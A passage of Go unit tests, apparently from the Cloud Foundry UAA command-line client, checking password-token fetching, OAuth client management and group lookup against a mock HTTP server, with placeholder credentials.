"--password", "<PASSWORD>")
Eventually(session).Should(Exit(0))
Eventually(session).Should(Say("Access token successfully fetched."))
})
It("updates the saved context", func() {
runCommand("get-password-token",
"admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret")
Expect(config.ReadConfig().GetActiveContext().AccessToken).To(Equal("<KEY>"))
Expect(config.ReadConfig().GetActiveContext().RefreshToken).To(Equal("<KEY>"))
Expect(config.ReadConfig().GetActiveContext().ClientId).To(Equal("admin"))
Expect(config.ReadConfig().GetActiveContext().Username).To(Equal("woodstock"))
Expect(config.ReadConfig().GetActiveContext().GrantType).To(Equal(uaa.PASSWORD))
Expect(config.ReadConfig().GetActiveContext().TokenType).To(Equal("bearer"))
Expect(config.ReadConfig().GetActiveContext().ExpiresIn).To(Equal(int32(43199)))
Expect(config.ReadConfig().GetActiveContext().Scope).To(Equal("clients.read emails.write scim.userids password.write idps.write notifications.write oauth.login scim.write critical_notifications.write"))
Expect(config.ReadConfig().GetActiveContext().JTI).To(Equal("bc4885d950854fed9a938e96b13ca519"))
})
})
})
Describe("when the token request fails", func() {
BeforeEach(func() {
c := uaa.NewConfigWithServerURL(server.URL())
c.AddContext(uaa.NewContextWithToken("old-token"))
config.WriteConfig(c)
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusUnauthorized, `{"error":"unauthorized","error_description":"Bad credentials"}`),
VerifyFormKV("client_id", "admin"),
VerifyFormKV("client_secret", "adminsecret"),
VerifyFormKV("grant_type", "password"),
),
)
})
It("displays help to the user", func() {
session := runCommand("get-password-token", "admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret")
Eventually(session).Should(Exit(1))
Eventually(session.Err).Should(Say("An error occurred while fetching token."))
})
It("does not update the previously saved context", func() {
runCommand("get-password-token", "admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret")
Expect(config.ReadConfig().GetActiveContext().AccessToken).To(Equal("old-token"))
})
})
Describe("configuring token format", func() {
BeforeEach(func() {
c := uaa.NewConfigWithServerURL(server.URL())
c.AddContext(uaa.NewContextWithToken("access_token"))
config.WriteConfig(c)
})
It("can request jwt token", func() {
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusOK, jwtTokenResponseJson),
VerifyFormKV("client_id", "admin"),
VerifyFormKV("client_secret", "adminsecret"),
VerifyFormKV("grant_type", "password"),
VerifyFormKV("token_format", "jwt"),
))
runCommand("get-password-token", "admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret",
"--format", "jwt")
})
It("can request opaque token", func() {
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusOK, opaqueTokenResponseJson),
VerifyFormKV("client_id", "admin"),
VerifyFormKV("client_secret", "adminsecret"),
VerifyFormKV("grant_type", "password"),
VerifyFormKV("token_format", "opaque"),
))
runCommand("get-password-token", "admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret",
"--format", "opaque")
})
It("uses jwt format by default", func() {
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
RespondWith(http.StatusOK, jwtTokenResponseJson),
VerifyFormKV("client_id", "admin"),
VerifyFormKV("client_secret", "adminsecret"),
VerifyFormKV("grant_type", "password"),
VerifyFormKV("token_format", "jwt"),
))
runCommand("get-password-token", "admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret")
})
It("displays error when unknown format is passed", func() {
session := runCommand("get-password-token", "admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret",
"--format", "bogus")
Expect(session.Err).To(Say(`The token format "bogus" is unknown.`))
Expect(session).To(Exit(1))
})
})
Describe("Validations", func() {
Describe("when called with no client id", func() {
It("displays help and does not panic", func() {
c := uaa.NewConfigWithServerURL("http://localhost")
config.WriteConfig(c)
session := runCommand("get-password-token",
"-s", "adminsecret",
"-u", "wood<PASSWORD>",
"-p", "secret")
Eventually(session).Should(Exit(1))
Expect(session.Err).To(Say("Missing argument `client_id` must be specified."))
})
})
Describe("when called with no client secret", func() {
It("succeeds", func() {
c := uaa.NewConfigWithServerURL(server.URL())
config.WriteConfig(c)
server.RouteToHandler("POST", "/oauth/token",
RespondWith(http.StatusOK, jwtTokenResponseJson),
)
session := runCommand("get-password-token", "<PASSWORD>",
"-u", "woodstock",
"-p", "secret",
"--verbose")
Eventually(session).Should(Exit(0))
Expect(session.Out).To(Say("POST /oauth/token"))
Expect(session.Out).To(Say("Accept: application/json"))
Expect(session.Out).To(Say("200 OK"))
})
})
Describe("when called with no username", func() {
It("displays help and does not panic", func() {
c := uaa.NewConfigWithServerURL("http://localhost")
config.WriteConfig(c)
session := runCommand("get-password-token", "admin",
"-s", "adminsecret",
"-p", "secret")
Eventually(session).Should(Exit(1))
Expect(session.Err).To(Say("Missing argument `username` must be specified."))
})
})
Describe("when called with no password", func() {
It("displays help and does not panic", func() {
c := uaa.NewConfigWithServerURL("http://localhost")
config.WriteConfig(c)
session := runCommand("get-password-token", "admin",
"-s", "adminsecret",
"-u", "woodstock")
Eventually(session).Should(Exit(1))
Expect(session.Err).To(Say("Missing argument `password` must be specified."))
})
})
Describe("when no target was previously set", func() {
BeforeEach(func() {
config.WriteConfig(uaa.NewConfig())
})
It("tells the user to set a target", func() {
session := runCommand("get-password-token", "admin",
"-s", "adminsecret",
"-u", "woodstock",
"-p", "secret")
Eventually(session).Should(Exit(1))
Expect(session.Err).To(Say("You must set a target in order to use this command."))
})
})
})
})
<file_sep>/uaa/clients_test.go
package uaa_test
import (
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("Clients", func() {
var (
server *ghttp.Server
config uaa.Config
httpClient *http.Client
)
BeforeEach(func() {
server = ghttp.NewServer()
httpClient = &http.Client{}
config = uaa.NewConfigWithServerURL(server.URL())
ctx := uaa.NewContextWithToken("access_token")
config.AddContext(ctx)
})
Describe("UaaClient.PreCreateValidation()", func() {
It("rejects empty grant types", func() {
client := uaa.UaaClient{}
err := client.PreCreateValidation()
Expect(err.Error()).To(Equal(`Grant type must be one of [authorization_code, implicit, password, client_credentials]`))
})
Describe("when authorization_code", func() {
It("requires client_id", func() {
client := uaa.UaaClient{
AuthorizedGrantTypes: []string{"authorization_code"},
RedirectUri: []string{"http://localhost:8080"},
ClientSecret: "secret",
}
err := client.PreCreateValidation()
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(Equal("client_id must be specified in the client definition."))
})
It("requires redirect_uri", func() {
client := uaa.UaaClient{
ClientId: "myclient",
AuthorizedGrantTypes: []string{"authorization_code"},
ClientSecret: "secret",
}
err := client.PreCreateValidation()
Expect(err.Error()).To(Equal("redirect_uri must be specified for authorization_code grant type."))
})
It("requires client_secret", func() {
client := uaa.UaaClient{
ClientId: "myclient",
AuthorizedGrantTypes: []string{"authorization_code"},
RedirectUri: []string{"http://localhost:8080"},
}
err := client.PreCreateValidation()
Expect(err.Error()).To(Equal("client_secret must be specified for authorization_code grant type."))
})
})
Describe("when implicit", func() {
It("requires client_id", func() {
client := uaa.UaaClient{
AuthorizedGrantTypes: []string{"implicit"},
RedirectUri: []string{"http://localhost:8080"},
}
err := client.PreCreateValidation()
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(Equal("client_id must be specified in the client definition."))
})
It("requires redirect_uri", func() {
client := uaa.UaaClient{
ClientId: "myclient",
AuthorizedGrantTypes: []string{"implicit"},
}
err := client.PreCreateValidation()
Expect(err.Error()).To(Equal("redirect_uri must be specified for implicit grant type."))
})
It("does not require client_secret", func() {
client := uaa.UaaClient{
ClientId: "someclient",
AuthorizedGrantTypes: []string{"implicit"},
RedirectUri: []string{"http://localhost:8080"},
}
err := client.PreCreateValidation()
Expect(err).To(BeNil())
})
})
Describe("when client_credentials", func() {
It("requires client_id", func() {
client := uaa.UaaClient{
AuthorizedGrantTypes: []string{"client_credentials"},
ClientSecret: "secret",
}
err := client.PreCreateValidation()
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(Equal("client_id must be specified in the client definition."))
})
It("requires client_secret", func() {
client := uaa.UaaClient{
ClientId: "myclient",
AuthorizedGrantTypes: []string{"client_credentials"},
}
err := client.PreCreateValidation()
Expect(err.Error()).To(Equal("client_secret must be specified for client_credentials grant type."))
})
})
Describe("when password", func() {
It("requires client_id", func() {
client := uaa.UaaClient{
AuthorizedGrantTypes: []string{"password"},
RedirectUri: []string{"http://localhost:8080"},
ClientSecret: "secret",
}
err := client.PreCreateValidation()
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(Equal("client_id must be specified in the client definition."))
})
It("requires client_secret", func() {
client := uaa.UaaClient{
ClientId: "myclient",
AuthorizedGrantTypes: []string{"password"},
}
err := client.PreCreateValidation()
Expect(err.Error()).To(Equal("client_secret must be specified for password grant type."))
})
})
})
Describe("Get", func() {
const GetClientResponseJson string = `{
"scope" : [ "clients.read", "clients.write" ],
"client_id" : "clientid",
"resource_ids" : [ "none" ],
"authorized_grant_types" : [ "client_credentials" ],
"redirect_uri" : [ "http://ant.path.wildcard/**/passback/*", "http://test1.com" ],
"autoapprove" : [ "true" ],
"authorities" : [ "clients.read", "clients.write" ],
"token_salt" : "<PASSWORD>",
"allowedproviders" : [ "uaa", "ldap", "my-saml-provider" ],
"name" : "<NAME>",
"lastModified" : 1502816030525,
"required_user_groups" : [ ]
}`
AfterEach(func() {
server.Close()
})
It("calls the /oauth/clients endpoint", func() {
server.RouteToHandler("GET", "/oauth/clients/clientid", ghttp.CombineHandlers(
ghttp.RespondWith(200, GetClientResponseJson),
ghttp.VerifyRequest("GET", "/oauth/clients/clientid"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
cm := &uaa.ClientManager{httpClient, config}
clientResponse, _ := cm.Get("clientid")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(clientResponse.Scope[0]).To(Equal("clients.read"))
Expect(clientResponse.Scope[1]).To(Equal("clients.write"))
Expect(clientResponse.ClientId).To(Equal("clientid"))
Expect(clientResponse.ResourceIds[0]).To(Equal("none"))
Expect(clientResponse.AuthorizedGrantTypes[0]).To(Equal("client_credentials"))
Expect(clientResponse.RedirectUri[0]).To(Equal("http://ant.path.wildcard/**/passback/*"))
Expect(clientResponse.RedirectUri[1]).To(Equal("http://test1.com"))
Expect(clientResponse.TokenSalt).To(Equal("1<PASSWORD>"))
Expect(clientResponse.AllowedProviders[0]).To(Equal("uaa"))
Expect(clientResponse.AllowedProviders[1]).To(Equal("ldap"))
Expect(clientResponse.AllowedProviders[2]).To(Equal("my-saml-provider"))
Expect(clientResponse.DisplayName).To(Equal("My Client Name"))
Expect(clientResponse.LastModified).To(Equal(int64(1502816030525)))
})
It("returns helpful error when /oauth/clients request fails", func() {
server.RouteToHandler("GET", "/oauth/clients/clientid", ghttp.CombineHandlers(
ghttp.RespondWith(500, ""),
ghttp.VerifyRequest("GET", "/oauth/clients/clientid"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
cm := &uaa.ClientManager{httpClient, config}
_, err := cm.Get("clientid")
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("can handle boolean response in autoapprove field", func() {
const ResponseWithBooleanAutoapprove string = `{
"scope" : [ "clients.read", "clients.write" ],
"client_id" : "clientid",
"resource_ids" : [ "none" ],
"authorized_grant_types" : [ "client_credentials" ],
"redirect_uri" : [ "http://ant.path.wildcard/**/passback/*", "http://test1.com" ],
"autoapprove" : true,
"authorities" : [ "clients.read", "clients.write" ],
"token_salt" : "<PASSWORD>",
"allowedproviders" : [ "uaa", "ldap", "my-saml-provider" ],
"name" : "<NAME>",
"lastModified" : 1502816030525,
"required_user_groups" : [ ]
}`
server.RouteToHandler("GET", "/oauth/clients/clientid", ghttp.CombineHandlers(
ghttp.RespondWith(200, ResponseWithBooleanAutoapprove),
ghttp.VerifyRequest("GET", "/oauth/clients/clientid"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
cm := &uaa.ClientManager{httpClient, config}
clientResponse, err := cm.Get("clientid")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).To(BeNil())
Expect(clientResponse.Scope[0]).To(Equal("clients.read"))
Expect(clientResponse.Scope[1]).To(Equal("clients.write"))
Expect(clientResponse.ClientId).To(Equal("clientid"))
Expect(clientResponse.ResourceIds[0]).To(Equal("none"))
Expect(clientResponse.AuthorizedGrantTypes[0]).To(Equal("client_credentials"))
Expect(clientResponse.RedirectUri[0]).To(Equal("http://ant.path.wildcard/**/passback/*"))
Expect(clientResponse.RedirectUri[1]).To(Equal("http://test1.com"))
Expect(clientResponse.TokenSalt).To(Equal("1SztLL"))
Expect(clientResponse.AllowedProviders[0]).To(Equal("uaa"))
Expect(clientResponse.AllowedProviders[1]).To(Equal("ldap"))
Expect(clientResponse.AllowedProviders[2]).To(Equal("my-saml-provider"))
Expect(clientResponse.DisplayName).To(Equal("My Client Name"))
Expect(clientResponse.LastModified).To(Equal(int64(1502816030525)))
})
It("returns helpful error when /oauth/clients/clientid response can't be parsed", func() {
server.RouteToHandler("GET", "/oauth/clients/clientid", ghttp.CombineHandlers(
ghttp.RespondWith(200, "{unparsable-json-response}"),
ghttp.VerifyRequest("GET", "/oauth/clients/clientid"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
cm := &uaa.ClientManager{httpClient, config}
_, err := cm.Get("clientid")
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while parsing response from"))
Expect(err.Error()).To(ContainSubstring("Response was {unparsable-json-response}"))
})
})
Describe("Delete", func() {
const DeleteClientResponseJson string = `{
"scope" : [ "clients.read", "clients.write" ],
"client_id" : "clientid",
"resource_ids" : [ "none" ],
"authorized_grant_types" : [ "client_credentials" ],
"redirect_uri" : [ "http://ant.path.wildcard/**/passback/*", "http://test1.com" ],
"autoapprove" : [ "true" ],
"authorities" : [ "clients.read", "clients.write" ],
"token_salt" : "<PASSWORD>",
"allowedproviders" : [ "uaa", "ldap", "my-saml-provider" ],
"name" : "<NAME>",
"lastModified" : 1502816030525,
"required_user_groups" : [ ]
}`
AfterEach(func() {
server.Close()
})
It("calls the /oauth/clients endpoint", func() {
server.RouteToHandler("DELETE", "/oauth/clients/clientid", ghttp.CombineHandlers(
ghttp.RespondWith(200, DeleteClientResponseJson),
ghttp.VerifyRequest("DELETE", "/oauth/clients/clientid"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
cm := &uaa.ClientManager{httpClient, config}
clientResponse, _ := cm.Delete("clientid")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(clientResponse.Scope[0]).To(Equal("clients.read"))
Expect(clientResponse.Scope[1]).To(Equal("clients.write"))
Expect(clientResponse.ClientId).To(Equal("clientid"))
Expect(clientResponse.ResourceIds[0]).To(Equal("none"))
Expect(clientResponse.AuthorizedGrantTypes[0]).To(Equal("client_credentials"))
Expect(clientResponse.RedirectUri[0]).To(Equal("http://ant.path.wildcard/**/passback/*"))
Expect(clientResponse.RedirectUri[1]).To(Equal("http://test1.com"))
Expect(clientResponse.TokenSalt).To(Equal("1SztLL"))
Expect(clientResponse.AllowedProviders[0]).To(Equal("uaa"))
Expect(clientResponse.AllowedProviders[1]).To(Equal("ldap"))
Expect(clientResponse.AllowedProviders[2]).To(Equal("my-saml-provider"))
Expect(clientResponse.DisplayName).To(Equal("My Client Name"))
Expect(clientResponse.LastModified).To(Equal(int64(1502816030525)))
})
It("returns helpful error when /oauth/clients request fails", func() {
server.RouteToHandler("DELETE", "/oauth/clients/clientid", ghttp.CombineHandlers(
ghttp.RespondWith(500, ""),
ghttp.VerifyRequest("DELETE", "/oauth/clients/clientid"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
cm := &uaa.ClientManager{httpClient, config}
_, err := cm.Delete("clientid")
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns helpful error when /oauth/clients/clientid response can't be parsed", func() {
server.RouteToHandler("DELETE", "/oauth/clients/clientid", ghttp.CombineHandlers(
ghttp.RespondWith(200, "{unparsable-json-response}"),
ghttp.VerifyRequest("DELETE", "/oauth/clients/clientid"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
cm := &uaa.ClientManager{httpClient, config}
_, err := cm.Delete("clientid")
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while parsing response from"))
Expect(err.Error()).To(ContainSubstring("Response was {unparsable-json-response}"))
})
})
Describe("Create", func() {
const createdClientResponse string = `{
"scope" : [ "clients.read", "clients.write" ],
"client_id" : "peanuts_client",
"resource_ids" : [ "none" ],
"authorized_grant_types" : [ "client_credentials", "authorization_code" ],
"redirect_uri" : [ "http://snoopy.com/**", "http://woodstock.com" ],
"autoapprove" : ["true"],
"authorities" : [ "comics.read", "comics.write" ],
"token_salt" : "<PASSWORD>",
"allowedproviders" : [ "uaa", "ldap", "my-saml-provider" ],
"name" : "The Peanuts Client",
"lastModified" : 1502816030525,
"required_user_groups" : [ ]
}`
It("calls the oauth/clients endpoint and returns response", func() {
server.RouteToHandler("POST", "/oauth/clients", ghttp.CombineHandlers(
ghttp.RespondWith(200, createdClientResponse),
ghttp.VerifyRequest("POST", "/oauth/clients"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
toCreate := uaa.UaaClient{
ClientId: "peanuts_client",
AuthorizedGrantTypes: []string{"client_credentials"},
Scope: []string{"clients.read", "clients.write"},
ResourceIds: []string{"none"},
RedirectUri: []string{"http://snoopy.com/**", "http://woodstock.com"},
Authorities: []string{"comics.read", "comics.write"},
DisplayName: "The Peanuts Client",
}
cm := &uaa.ClientManager{httpClient, config}
createdClient, _ := cm.Create(toCreate)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(createdClient.Scope[0]).To(Equal("clients.read"))
Expect(createdClient.Scope[1]).To(Equal("clients.write"))
Expect(createdClient.ClientId).To(Equal("peanuts_client"))
Expect(createdClient.ResourceIds[0]).To(Equal("none"))
Expect(createdClient.AuthorizedGrantTypes[0]).To(Equal("client_credentials"))
Expect(createdClient.AuthorizedGrantTypes[1]).To(Equal("authorization_code"))
Expect(createdClient.RedirectUri[0]).To(Equal("http://snoopy.com/**"))
Expect(createdClient.RedirectUri[1]).To(Equal("http://woodstock.com"))
Expect(createdClient.TokenSalt).To(Equal("<PASSWORD>"))
Expect(createdClient.AllowedProviders[0]).To(Equal("uaa"))
Expect(createdClient.AllowedProviders[1]).To(Equal("ldap"))
Expect(createdClient.AllowedProviders[2]).To(Equal("my-saml-provider"))
Expect(createdClient.DisplayName).To(Equal("The Peanuts Client"))
Expect(createdClient.LastModified).To(Equal(int64(1502816030525)))
})
})
Describe("Update", func() {
const updatedClientResponse string = `{
"scope" : [ "clients.read", "clients.write" ],
"client_id" : "peanuts_client",
"resource_ids" : [ "none" ],
"authorized_grant_types" : [ "client_credentials", "authorization_code" ],
"redirect_uri" : [ "http://snoopy.com/**", "http://woodstock.com" ],
"autoapprove" : ["true"],
"authorities" : [ "comics.read", "comics.write" ],
"token_salt" : "<PASSWORD>",
"allowedproviders" : [ "uaa", "ldap", "my-saml-provider" ],
"name" : "The Peanuts Client",
"lastModified" : 1502816030525,
"required_user_groups" : [ ]
}`
It("calls the PUT oauth/clients/CLIENT_ID endpoint and returns response", func() {
server.RouteToHandler("PUT", "/oauth/clients/peanuts_client", ghttp.CombineHandlers(
ghttp.RespondWith(200, updatedClientResponse),
ghttp.VerifyRequest("PUT", "/oauth/clients/peanuts_client"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
toUpdate := uaa.UaaClient{
ClientId: "peanuts_client",
AuthorizedGrantTypes: []string{"client_credentials"},
Scope: []string{"clients.read", "clients.write"},
ResourceIds: []string{"none"},
RedirectUri: []string{"http://snoopy.com/**", "http://woodstock.com"},
Authorities: []string{"comics.read", "comics.write"},
DisplayName: "The Peanuts Client",
}
cm := &uaa.ClientManager{httpClient, config}
updatedClient, _ := cm.Update(toUpdate)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(updatedClient.Scope[0]).To(Equal("clients.read"))
Expect(updatedClient.Scope[1]).To(Equal("clients.write"))
Expect(updatedClient.ClientId).To(Equal("peanuts_client"))
Expect(updatedClient.ResourceIds[0]).To(Equal("none"))
Expect(updatedClient.AuthorizedGrantTypes[0]).To(Equal("client_credentials"))
Expect(updatedClient.AuthorizedGrantTypes[1]).To(Equal("authorization_code"))
Expect(updatedClient.RedirectUri[0]).To(Equal("http://snoopy.com/**"))
Expect(updatedClient.RedirectUri[1]).To(Equal("http://woodstock.com"))
Expect(updatedClient.TokenSalt).To(Equal("1SztLL"))
Expect(updatedClient.AllowedProviders[0]).To(Equal("uaa"))
Expect(updatedClient.AllowedProviders[1]).To(Equal("ldap"))
Expect(updatedClient.AllowedProviders[2]).To(Equal("my-saml-provider"))
Expect(updatedClient.DisplayName).To(Equal("The Peanuts Client"))
Expect(updatedClient.LastModified).To(Equal(int64(1502816030525)))
})
})
Describe("ChangeSecret", func() {
It("calls the /oauth/clients/<clientid>/secret endpoint", func() {
server.RouteToHandler("PUT", "/oauth/clients/peanuts_client/secret", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, ""),
ghttp.VerifyRequest("PUT", "/oauth/clients/peanuts_client/secret"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyJSON(`{"clientId": "peanuts_client", "secret": "new_secret"}`),
))
cm := &uaa.ClientManager{httpClient, config}
cm.ChangeSecret("peanuts_client", "new_secret")
Expect(server.ReceivedRequests()).To(HaveLen(1))
})
It("does not panic when error happens during network call", func() {
server.RouteToHandler("PUT", "/oauth/clients/peanuts_client/secret", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusUnauthorized, ""),
ghttp.VerifyRequest("PUT", "/oauth/clients/peanuts_client/secret"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Content-Type", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyJSON(`{"clientId": "peanuts_client", "secret": "new_secret"}`),
))
cm := &uaa.ClientManager{httpClient, config}
err := cm.ChangeSecret("peanuts_client", "new_secret")
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
})
})
It("returns error when response is unparsable", func() {
server.RouteToHandler("PUT", "/oauth/clients/peanuts_client", ghttp.CombineHandlers(
ghttp.RespondWith(200, "{unparsable}"),
))
cm := &uaa.ClientManager{httpClient, config}
_, err := cm.Update(uaa.UaaClient{ClientId: "peanuts_client"})
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
})
Describe("List", func() {
const ClientsListResponseJsonPage1 = `{
"resources" : [ {
"client_id" : "client1"
},
{
"client_id" : "client2"
}],
"startIndex" : 1,
"itemsPerPage" : 2,
"totalResults" : 6,
"schemas" : [ "http://cloudfoundry.org/schema/scim/oauth-clients-1.0" ]
}`
It("can fetch and display multiple pages of results", func() {
// This test is fairly bogus. Even though the query params vary each
// time the /oauth/clients endpoint is called, I couldn't figure out
// a way to make ghttp return different responses for sequential
// calls to the same endpoint. In reality, with totalResults=6 I would
// expect the three calls to each get a different response.
server.RouteToHandler("GET", "/oauth/clients", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/oauth/clients"),
ghttp.RespondWith(http.StatusOK, ClientsListResponseJsonPage1),
))
cm := &uaa.ClientManager{httpClient, config}
clientList, err := cm.List()
Expect(server.ReceivedRequests()).To(HaveLen(3))
Expect(clientList).To(HaveLen(6))
Expect(clientList[0].ClientId).To(Equal("client1"))
Expect(err).To(BeNil())
})
It("returns an error if an error occurs while fetching clients", func() {
server.RouteToHandler("GET", "/oauth/clients", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/oauth/clients"),
ghttp.RespondWith(http.StatusInternalServerError, ""),
))
cm := &uaa.ClientManager{httpClient, config}
_, err := cm.List()
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
})
It("returns an error when parsing fails", func() {
server.RouteToHandler("GET", "/oauth/clients", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/oauth/clients"),
ghttp.RespondWith(http.StatusInternalServerError, "{garbage}"),
))
cm := &uaa.ClientManager{httpClient, config}
_, err := cm.List()
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(err).NotTo(BeNil())
})
})
})
<file_sep>/uaa/groups_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
"fmt"
. "code.cloudfoundry.org/uaa-cli/fixtures"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("Groups", func() {
var (
gm GroupManager
uaaServer *ghttp.Server
)
BeforeEach(func() {
uaaServer = ghttp.NewServer()
config := NewConfigWithServerURL(uaaServer.URL())
config.AddContext(NewContextWithToken("access_token"))
gm = GroupManager{&http.Client{}, config}
})
var groupListResponse = fmt.Sprintf(PaginatedResponseTmpl, UaaAdminGroupResponse, CloudControllerReadGroupResponse)
Describe("GroupManager#Get", func() {
It("gets a group from the UAA by id", func() {
uaaServer.RouteToHandler("GET", "/Groups/05a0c169-3592-4a45-b109-a16d9246e0ab", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/Groups/05a0c169-3592-4a45-b109-a16d9246e0ab"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.RespondWith(http.StatusOK, UaaAdminGroupResponse),
))
group, _ := gm.Get("05a0c169-3592-4a45-b109-a16d9246e0ab")
Expect(group.ID).To(Equal("05a0c169-3592-4a45-b109-a16d9246e0ab"))
Expect(group.Meta.Created).To(Equal("2017-01-15T16:54:15.677Z"))
Expect(group.Meta.LastModified).To(Equal("2017-08-15T16:54:15.677Z"))
Expect(group.Meta.Version).To(Equal(1))
Expect(group.DisplayName).To(Equal("uaa.admin"))
Expect(group.ZoneID).To(Equal("uaa"))
Expect(group.Description).To(Equal("Act as an administrator throughout the UAA"))
Expect(group.Members[0].Origin).To(Equal("uaa"))
Expect(group.Members[0].Type).To(Equal("USER"))
Expect(group.Members[0].Value).To(Equal("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"))
Expect(group.Schemas[0]).To(Equal("urn:scim:schemas:core:1.0"))
})
It("returns helpful error when /Groups/groupid request fails", func() {
uaaServer.RouteToHandler("GET", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusInternalServerError, ""),
ghttp.VerifyRequest("GET", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := gm.Get("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7")
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns helpful error when /Groups/groupid response can't be parsed", func() {
uaaServer.RouteToHandler("GET", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, "{unparsable-json-response}"),
ghttp.VerifyRequest("GET", "/Groups/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := gm.Get("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7")
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while parsing response from"))
Expect(err.Error()).To(ContainSubstring("Response was {unparsable-json-response}"))
})
})
Describe("GroupManager#GetByName", func() {
Context("when no group name is specified", func() {
It("returns an error", func() {
_, err := gm.GetByName("", "")
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(Equal("Group name may not be blank."))
})
})
Context("when no origin is specified", func() {
It("looks up a group with a SCIM filter", func() {
group := ScimGroup{DisplayName: "uaa.admin"}
response := PaginatedResponse(group)
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, response),
ghttp.VerifyRequest("GET", "/Groups", "filter=displayName+eq+%22uaa.admin%22"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
group, err := gm.GetByName("uaa.admin", "")
Expect(err).NotTo(HaveOccurred())
Expect(group.DisplayName).To(Equal("uaa.admin"))
})
It("returns an error when request fails", func() {
uaaServer.RouteToHandler("GET", "/Groups", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusInternalServerError, ""),
